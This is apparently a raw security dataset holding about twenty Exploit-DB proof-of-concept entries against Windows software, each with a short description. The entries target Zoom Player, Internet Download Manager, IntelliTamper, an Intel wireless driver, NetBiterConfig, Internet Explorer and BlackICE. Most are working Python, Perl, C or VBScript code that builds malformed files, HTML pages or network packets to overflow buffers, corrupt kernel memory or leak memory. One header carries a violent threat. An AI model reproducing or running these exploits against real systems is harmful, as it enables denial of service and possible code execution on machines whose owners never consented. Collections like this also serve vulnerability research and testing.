deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9626
Description: INMATRIX Zoom Player Pro 6.0.0 - '.mid' Integer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-10
Author: Dr_IDE

Exploit:
#!/usr/bin/env python

##################################################################
#
# INMATRIX Zoom Player Pro <= 6.0.0 (.MID) Integer Overflow PoC 
# Found By:	Dr_IDE
# Credits:	Platen
# Tested:	verified on v 5.0.2 and 6.0.0 on XP SP3
# Download:	http://www.inmatrix.com
#
##################################################################

# MIDI Structure must be accurate
# 
buff = (
"\x4d\x54\x68\x64\x00\x00\x00\x06\x00\x01\x00\x01\x00\x60\x4d\x54"
"\x72\x6b\x00\x00\x00\x4e\x00\xff\x03\x08\x34\x31\x33\x61\x34\x61"
"\x35\x30\x00\x91\x41\x60\x01\x3a\x60\x01\x4a\x60\x01\x50\x60\x7d"
"\x81\x41\x01\x01\x3a\x5f\x8d\xe4\xa0\x01\x50\x01\x3d\x91\x41\x60"
"\x81\x00\x81\x41\x40\x00\x91\x3a\x60\x81\x00\x76\x6f\xcc\x3d\xa6"
"\xc2\x48\xee\x8e\xca\xc2\x57\x00\x91\x50\x60\x81\x00\x81\x50\x40"
"\x00\xff\x2f\x00");                                                    

f1 = open("midi.mid","w");
f1.write(buff);
f1.close();

# milw0rm.com [2009-09-10]
Exploit-DB #3224
Description: Intel 2200BG 802.11 - disassociation packet Kernel Memory Corruption
Type: dos
Platform: windows
Date: 2007-01-29
Author: Breno Silva Pinto

Exploit:
/*
Title:  Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption

Description:  The intel wireless mini-pci driver provided with Intel
/*
Title:  Intel 2200BG 802.11 disassociation packet Kernel Memory Corruption

Description:  The intel wireless mini-pci driver provided with Intel
2200BG cards is vulnerable to a remote  memory corruption flaw.
Malformed disassociation packets can be used to corrupt internal kernel
structures, causing a denial of service (BSOD)

This vulnerability was found at Intel 2200 driver version 9.0.3.9
(09/12/2005).

Driver files:

w29n51.sys      9ee38ffcb4cbe5bee6c305700ddc4725
w29mlres.dll    35afeccc4092b69f62d757c4707c74e9
w29NCPA.dll     980f58b157baedc23026dd9302406bdd

Author: Breno Silva Pinto ( Sekure.org ) / bsilva[at]sekure[dot]org)


Proof Of Concept:
*/

#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// 28 bytes disassociation packet.

char d[] = { 0xa0, 0x00,    // 0xa0 pacote Disassociate  0xa000 FC Normal
            0x00, 0x00, // Duration ID
            0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr
            0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr
            0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id
            0x00, 0x00, // Frag. Number
            0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code

int main() {
       struct sockaddr_ll link;
       struct ifreq iface;
       int s;
       char packet[sizeof(d)];
       int len = 0;

       if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
               return 0;

       bzero(&iface,sizeof(iface));
       bzero(&link,sizeof(link));
       bzero(packet,sizeof(d));

       strcpy(iface.ifr_name,"ath0raw");

       if(ioctl(s,SIOCGIFHWADDR, &iface)) {
               return 0;
       }

       if(ioctl(s,SIOCGIFINDEX, &iface)) {
               return -1;
       }

       if((s=socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
               return -1;
       }

       link.sll_family = AF_PACKET;
       link.sll_ifindex = iface.ifr_ifindex;

 if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
               return -1;
       }

       memcpy(packet,d,sizeof(d));
       len = sendto(s,packet,sizeof(d), 0, NULL, 0);
       usleep(5000);
       printf("%d bytes enviados\n",len);

       close(s);

       return 0;
}

// milw0rm.com [2007-01-29]
Exploit-DB #14883
Description: Intel Video Codecs 5.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-09-03
Author: Matthew Bergin

Exploit:
Intel Video Codecs 5 Remote Denial of Service
Author: Matthew Bergin
Website: http://berginpentesting.com/
Email: matt@berginpentesting.com
Date: August 27, 2010
Filename: ir50_32.dll
Version: 5.2562.15.55

Description:
A remote user can cause denial of service conditions on remote hosts by embedding a specially crafted AVI file into an HTML page. The included PoC will also cause crash conditions locally if viewed by My Computer.

Application Events Notice:
Faulting application explorer.exe, version 6.0.2900.5512, faulting module ir50_32.dll, version 5.2562.15.55, fault address 0x00002897.

Crash Instructions:
MOV EDI, DWORD PTR DS:[EDX+EDI*4-4] <- Crash Here
MOV AH, AL
AND CH, 0C0
CMP CH, 40
JE ir50_32.738727C3

Crash Registers:
eax 00030026
ecx 00000DEA
edx 02b80004
ebx 00000001
esp 0849f420
ebp fb202196
esi 05d5fe4c
edi 7ecc7dc7
eip 73872c52

Reproduction

PoC File:
Addr :  0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F
2090h: F3 2C 00 7E 12 C8 71 2D 88 F8 BC CF DD 6F F8 E0  Гі,
....
20B0h: B1 97 C5 F3 79 29 F0 41 92 71 0D C0 7E 73 F1 EC  ВұвҖ”Г…Гіy)Г°AвҖҷq
ГҖ~sГұГ¬
....
2120h: CE 87 8E C3 10 FA 17 49 86 E7 E1 23 33 AC F1 89  ГҺвҖЎЕҪГғГәIвҖ Г§ГЎ#3В¬ГұвҖ°
....
21E0h: 37 FA 7F 3F 16 F7 D7 CF 39 CF 0F F1 94 C0 C0 34  7Гә?Г·Г—ГҸ9ГҸГұвҖқГҖГҖ4
....
2460h: C5 DA 58 81 C0 51 19 68 14 11 28 D8 ED 02 18 C2  Г…ГҡXВҒГҖQh(ГҳГӯГӮ
....
2540h: F8 60 D9 21 02 42 42 FA 74 99 05 24 7C D8 9F 3A  Гё`Гҷ!BBГәtв„ў$|ГҳЕё:
....
25B0h: 0E 0F 1F 53 3E 26 C3 A3 10 3E E5 E7 8F C2 37 16  S>&ГғВЈ>ГҘГ§ВҸГӮ7
....
2680h: DB 32 EA 10 98 57 AB 88 0B 24 C4 4D 4A 28 7F 9B  Гӣ2ГӘЛңWВ«ЛҶ$Г„MJ(вҖә
....
3380h: C8 93 FE 31 51 32 1C A1 57 E2 F0 F9 27 16 43 F9  ГҲвҖңГҫ1Q2.ВЎWГўГ°Г№'.CГ№ 
....
33B0h: 3E FB 73 25 C3 A3 B8 9B 33 BF FE C1 AF CA FF 3F  >Г»s%ГғВЈВёвҖә3ВҝГҫГҒВҜГҠГҝ? 
....


Cause:
while reversing the format, i found the size of the data section of LISTHEADER list[3] was showing a null value, after further review of the data which was said to not be included in the file i found several differences. These differences can be directly linked to the very reproducible crash which the poc provides. 

LISTHEADER list[3] in the sample is at 7F4h and the size is 3FCB52h
LISTHEADER list[3] in the poc file is at 7F4h and the size is 0h

genericblock gb[0]
char data[18448]
char data[6291] = -49

genericblock gb[0]
char data[18448]
char data[6327] = -20

genericblock gb[0]
char data[18448]
char data[6438] = -15

genericblock gb[0]
char data[18448]
char data[6220] = 22

genericblock gb[0]
char data[18448]
char data[7594] = 31

genericblock gb[0]
char data[18448]
char data[7260] = -64

genericblock gb[0]
char data[18448]
char data[7488] = 116

genericblock gb[0]
char data[18448]
char data[7594] = 31

genericblock gb[0]
char data[18448]
char data[7807] = -120

PoC:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14883.rar (IntelVideoCodecs5RemoteDenialofService.rar)
Exploit-DB #33403
Description: Intellicom 1.3 - 'NetBiterConfig.exe Hostname' Data Remote Stack Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-12-14
Author: Ruben Santamarta

Exploit:
#!/usr/bin/python
#
#source: https://www.securityfocus.com/bid/37325/info
#
#Intellicom 'NetBiterConfig.exe' is prone to a remote stack-based buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
#
#Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. 
#

# Intellicom NetBiterConfig.exe 1.3.0 Remote Stack Overwrite.
# Ruben Santamarta - www.reversemode.com
# For research purposes ONLY.
# If you use this code to cause damage I’ll cut you open like a f***ing pig.

import sys
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.connect(("10.10.10.10",3250))
s.send("protocol version = 1.10; "
       +"fb type = EVIL-DEVICE; "
       +"module version = 0.66.6; "
       +"mac = 00-30-11-00-BA-CA; "
       +"ip = 192.168.1.52; "
       +"sn = 255.255.255.0; "
       +"gw = 192.168.1.1; "
       +"dhcp = off; "
       +"pswd = off; "
       +"hn = "+"A"*0×60+"; "
       +"dns1 = 192.168.1.33;")
Exploit-DB #6103
Description: IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-07-21
Author: Guido Landi

Exploit:
#!/usr/bin/perl
#
# k`sOSe - 07/21/2008
#
# This is NOT http://secunia.com/advisories/20172/.
# There are some BOFs in the html parser, just put a properly
# formatted html file in your website and launch IntelliTamper against it.

use warnings;
use strict;

my $evil_html   =       '<html><head><title>ph33r</title></head><body>' .
                        '<a href="http://google.it/' .
                        "\x41" x 450 .
                        "\x42" x 4 . # EIP
                        '.htm">ph33r</a>' .
                        "</body></html>";

print $evil_html;

# milw0rm.com [2008-07-21]
Exploit-DB #11217
Description: IntelliTamper 2.07/2.08 - Defer Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-01-21
Author: SkuLL-HackeR

Exploit:
# H0m3 : S3curity-art.com & Google.com
# M4!L : Wizard-skh@hotmail.com<mailto:Wizard-skh@hotmail.com> & My@hotmail.it<mailto:My@hotmail.it>
# usage : perl xpl.pl >>xpl.html
my $IntelliTamper_html ='<html><head><title>SkuLL-HackeR Home
World</title></head><body>' .
'<script defer="' .
"\x41" x 3076 .
'">' .
"</body></html>";
print $IntelliTamper_html;
Exploit-DB #4056
Description: Internet Download Accelerator 5.2 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2007-06-09
Author: DeltahackingTEAM

Exploit:
<!--========================== ==================================================
Internet Explorer ver 6.0 , 7.0
Tested On Winados SP2
DeltahackingSecurityTEAM
Bug discovered by Dr.Pantagon
Affected Software: idaiehlp.dll  (IE 4.x-6.x BHO for Internet Download Accelerator)
DLL VER : 1.9.1.74
program ver : 5.2
download link : http://download1.westbyte.com/ida/idasetup.exe
Company Dll : WestByte
site www. westbyte.com
www.Deltahacking.net
www.Deltasecurity.ir
==============================================================================-->
<html>
<object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"></object>
<script language='vbscript'>
arg1=String(999999, "A") + String(999999, unescape("%90"))
idaiehlp.NotSafe (arg1)
</script>

# milw0rm.com [2007-06-09]
Exploit-DB #14938
Description: Internet Download Accelerator 5.8 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-09-07
Author: eidelweiss

Exploit:
<!--========================== ==================================================
Internet Explorer ver 7.0.5730.13
Tested On Windows SP2
Inj3ct0r team & yogyacarderlink team
Bug discovered by eidelweiss
Affected Software: idaiehlp.dll  BHO: IE 4.x-6.x BHO for Internet Download Accelerator - {2A646672-9C3A-4C28-9A7A-1FB0F63F28B6}
DLL VER : 2.4.1.110
program ver : 5.8.3.1221
download link : http://download1.westbyte.com/ida/idasetup.exe
vendor www. westbyte.com
www.inj3ct0r.com
www.yogyacarderlink.web.id
==============================================================================-->
<html>
<object classid="clsid:2A646672-9C3A-4C28-9A7A-1FB0F63F28B6" id="idaiehlp"></object>
<script language='vbscript'>
arg1=String(9696969, "A") + String(999999, unescape("%960"))
idaiehlp.NotSafe (arg1)
</script>
Exploit-DB #37607
Description: Internet Download Manager - '.ief' Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-14
Author: Mohammad Reza Espargham

Exploit:
#!/usr/bin/env python
# Title : Internet Download Manager - Crash Proof Of Concept
# Affected Versions: All Version
# Founder : InternetDownloadManager
# Tested on Windows 7 / Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/mohammadreza.espargham
#
#
# downlWithIDM64.dll Exploit
#
#
# 1 . run python code : python crash.py
# 2 . open "IDM"
# 3 . Tasks --> Import --> From IDM export file
# 4 . select r3z4.ief
# 5 . Crashed ;)


hdr = "<" #start syntax
hcr = "ftp://" #pro
crash = "\x41"*1992999 #B0F
exp = hdr+hcr+crash+hdr+hcr+crash
file = open("r3z4.ief", "w")
file.write(exp)
file.close()
Exploit-DB #37608
Description: Internet Download Manager - Find Download Crash (PoC)
Type: dos
Platform: windows
Date: 2015-07-14
Author: Mohammad Reza Espargham

Exploit:
#!/‚Ā†usr/‚Ā†bin/‚Ā†env python
# Title : Internet Download Manager -‚Ā† Crash Proof Of Concept
# Affected Versions: All Version
# Founder : InternetDownloadManager
# Tested on Windows 7 /‚Ā† Server 2008
#
#
# Author      :   Mohammad Reza Espargham
# Linkedin    :   https://ir.linkedin.com/in/rezasp
# E-‚Ā†Mail      :   me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
# Website     :   www.reza.es
# Twitter     :   https://twitter.com/rezesp
# FaceBook    :   https://www.facebook.com/mohammadreza.espargham
#
#
# downlWithIDM64.dll Exploit
#
#
# 1 . run python code : python crash.py
# 2 . open r3z4.txt and copy content to clipboard
# 3 . open "IDM"
# 4 . From Menu , Downloads -‚Ā†-‚Ā†> Find
# 5 . Paste ClipBoard on "File name or part of the name"
# 6 . Click Find
# 7 . Crashed ;)


crash = "\x41"*10000 #B0F
file = open("r3z4.txt", "w")
file.write(crash)
file.close()
Exploit-DB #20955
Description: Internet Download Manager - Memory Corruption
Type: dos
Platform: windows
Date: 2012-08-31
Author: Dark-Puzzle

Exploit:
#!/usr/bin/perl
# 1               ==========================================               1
# 0                   I'm Dark-Puzzle From Inj3ct0r TEAM                   0
# 0                                                                        1
# 1                       dark-puzzle[at]live[at]fr                        0
# 0               ==========================================               1
# 1                              White Hat                                 1
# 0                         Independant Pentester                          0
# 1                      exploit coder/bug researcher                      0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
# Title  : Internet Download Manager All Versions - Memory Corruption Vulnerability .
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : Local 
# Risk   : Critical
# Vendor : Tonec Inc.
# Versions : All versions supporting the IDM file importation are Vulnerable .
# Tested On : Windows XP Service Pack 2 FR 32-bits , Windows 7 FR 64-bits
# Date : 31 August 2012
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...

#Vulnerability Details : Work your skills & imagination .


#Usage   : Copy this script to memorycorruption.pl
#Execute : perl memorycorruption.pl

#Howto : Go to Tasks ---> Import ---> From IDM export file ---> evil.ef2  (executing file as .eif may also work )
#              Taches --> Importer -> Depuis un fichier IDM ---> evil.ef2


my $hd = "\x3c\n";
my $ed = "\x3e\n";
my $ht = "\x68\x74\x74\x70\x3a\x2f\x2f";
my $lk = "\x77\x77\x77\x2e\x31\x33\x33\x37\x64\x61\x79\x2e\x63\x6f\x6d\x2f\x65\x78\x70\x6c\x6f\x69\x74\x73\x2f\x31\x39\x32\x31\x31\n";
my $fake ="\x2e\x63\x6f\x6d\x2f\x64\x61\x72\x6b\x70\x75\x7a\x7a\x6c\x65\x2e\x74\x78\x74\n";
my $txt = "\x41" x 2000000;
my $stx = "\x42" x 400000 ;
my $null = "\x00\x00"; # Not Necessary , but maybe more effective .

# Sorry Script Kiddies ...
# BOF is possible and every failed attempt will cause a Denial of Service Vulnerability .

my $file = "evil.ef2";

open ($File, ">$file");
print $File $hd.$ht.$lk.$ed.$hd.$ht.$txt.$stx.$fake.$ed;
close ($File);
print " Exploit By Dark-Puzzle \n" ;
print " Creating Evil File , Please Wait ...\n\n\n";
sleep (5);
print " Evil File Created Successfully , Happy Hunting :)\n";

# Datasec Team .
Exploit-DB #32824
Description: Internet Download Manager 5.15 Build 3 - Language File Parsing Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-02-27
Author: musashi karak0rsan

Exploit:
source: https://www.securityfocus.com/bid/33934/info

Internet Download Manager (IDM) is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

An attacker may exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

This issue affects IDM 5.15 Build 3; other versions may also be vulnerable.

#Internet Download Manager v.5.15 Build 3 (4 December)
#Works on Vista
#HellCode Labs || TCC Group || http://tcc.hellcode.net
#Bug was found by "musashi" aka karak0rsan
[musashi@hellcode.net]
#thanx to murderkey
$file="idm_tr.lng";
$lng= "lang=0x1f Türkçe";
$buffer = "\x90" x 1160;
$eip = "AAAA";
$toolbar = "20376=";
$packet=$toolbar.$buffer.$eip;
open(file, '>' . $file);
print file $lng;
print file "\n";
print file $packet;
close(file);
print "File has created!\n";
Exploit-DB #49083
Description: Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2020-11-19
Author: Vincent Wolterman

Exploit:
# Exploit Title: Internet Download Manager 6.38.12 - Scheduler Downloads Scheduler Buffer Overflow (PoC)
# Date: November 18, 2020
# Exploit Author: Vincent Wolterman
# Vendor Homepage: http://www.internetdownloadmanager.com/
# Software Link: http://www.internetdownloadmanager.com/download.html
# Version: 6.38.12
# Tested on: Windows 7 Professional SP 1 Build 7601; Windows 10 Home Build 19041

# Steps to reproduce crash:
# 1) Execute provided Perl code
# 2) Open IDMan_Crash.txt output file
# 3) Copy contents of text file to clipboard
# 4) Open Internet Download Manager 6.38
# 5) From the Menu bar -> Downloads -> Scheduler
# 6) Check the box for 'Open the following file when done:'
# 7) Paste the contents of IDMan_Crash.txt into the input field below
# 8) Click 'Apply' and observe the crash

#!/usr/bin/perl

$baddata = "\x41" x 1302;
$baddata .= "\x42" x 2; # this length overwrites NSEH on Windows 7 Pro SP 1
$baddata .= "\x43"x(5000-length($baddata));

$file = "IDMan_Crash.txt";
open (FILE, '>IDMan_Crash.txt');
print FILE $baddata;
close (FILE);

print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($baddata) . "\n";
Exploit-DB #44312
Description: Internet Explorer - 'RegExp.lastMatch' Memory Disclosure
Type: dos
Platform: windows
Date: 2018-03-20
Author: Google Security Research

Exploit:
/*
There is a vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied.

PoC:

=========================================
*/

<!-- saved from url=(0014)about:internet -->
<script>

function main() {
  RegExp.input = {toString: f};
  alert(RegExp.lastMatch);
}

var input = [Array(10000000).join("a"), Array(11).join("b"), Array(100).join("a")].join("");

function f() {
  String.prototype.match.call(input, "bbbbbbbbbb");
}

main();

</script>

/*
=========================================

Note that sometimes the PoC results in a crash (I made no attempt to make it reliable) while sometimes it results in pieces of memory being displayed
*/
Exploit-DB #28469
Description: Internet Security Systems 3.6 BlackICE - Local Denial of Service
Type: dos
Platform: windows
Date: 2006-09-01
Author: David Matousek

Exploit:
source: https://www.securityfocus.com/bid/19800/info

Internet Security Systems (ISS) BlackICE PC Protection is prone to a local denial-of-service vulnerability because the application fails to properly sanitize user-supplied input.

This vulnerability allows local attackers to crash affected systems, facilitating a denial-of-service condition on the local computer. Remote code execution may also be possible if the vulnerability is exploited in privileged kernel mode.

Versions 3.6.cpn, 3.6.cpj, and 3.6.cpiE are vulnerable to this issue; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28469.zip
Exploit-DB #24362
Description: Internet Security Systems BlackICE PC Protection 3.6 - Firewall.INI Local Buffer Overrun
Type: dos
Platform: windows
Date: 2004-08-11
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/10915/info

It is reported that BlackICE PC Protection is prone to a local buffer overrun when handling excessive input in certain configuration directives parsed from the firewall.ini file included with the software.

It is reported that when the system is restarted, and the affected software reads the malicious firewall.ini file both the blackice.exe and blackd.exe executables will crash.

REJECT, 138, default, 1999-07-22 20:26:53, AAAAAAAAAAAAAAAAA.... , 2000,
unknown

(Aprox 1000 A's)
Exploit-DB #47711
Description: InTouch Machine Edition 8.1 SP1 - 'Atributos' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-11-25
Author: chuyreds

Exploit:
# Exploit Title: InTouch Machine Edition 8.1 SP1 - 'Atributos' Denial of Service (PoC)
# Discovery by: chuyreds
# Discovery Date: 12019-11-16
# Vendor Homepage: https://on.wonderware.com/
# Software Link : https://on.wonderware.com/intouch-machine-edition
# Tested Version: 8.1 SP1
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es
# InTouch Machine Edition 8.1 SP1.py


# Steps to Produce the Local Buffer Overflow (SEH Unicode):
# 1.- Run python code: InTouch_Machine_Edition_8.1.py
# 2.- Open InTouch_Machine_Edition_8.1.txt and copy content to clipboard
# 3.- Open ITME v8.1 InTouch Machine Edition
# 4.- On Graficos slect Atributos
# 5.- Paste ClipBoard on "No Redibujar"/"Deshabilitados" and click on "Aceptar"
#!/usr/bin/env python


buffer = "\x41" * 1026
f = open ("InTouch_Machine_Edition_8.1.txt", "w")
f.write(buffer)
f.close()